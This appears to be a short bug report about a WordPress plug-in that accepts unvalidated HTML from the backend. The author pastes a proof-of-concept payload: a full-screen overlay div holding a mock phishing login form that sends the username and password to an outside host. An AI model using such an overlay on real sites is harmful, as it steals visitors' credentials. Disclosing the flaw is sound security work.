I was testing this plug-in and found that I was able to embed potentially malicious html in the page that allowed me to take over the screen and overlay whatever content I wanted. Whoops!
<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height:
1300px; z-index: 1000; background-color:white; padding: 1em;">Welcome to
MyGoat!!1! Please Login wit credentialz for major nigerian cash<br><form
name="login" action="http://aspectsecurity.com"><table><tr><td>Username:
</td><td><input type="text"
name="username"/></td></tr><tr><td>Password:</td><td><input type="text"
name="password"/></td></tr><tr><td colspan=2 align=center><input type="submit"
value="Login"/></td></tr></table></form><img</div>
http://img.skitch.com/20101024-8dd26w5225tjfxh9x1s21shemx.png
I inserted this html through the wordpress backend but assume there is no validation to prevent this.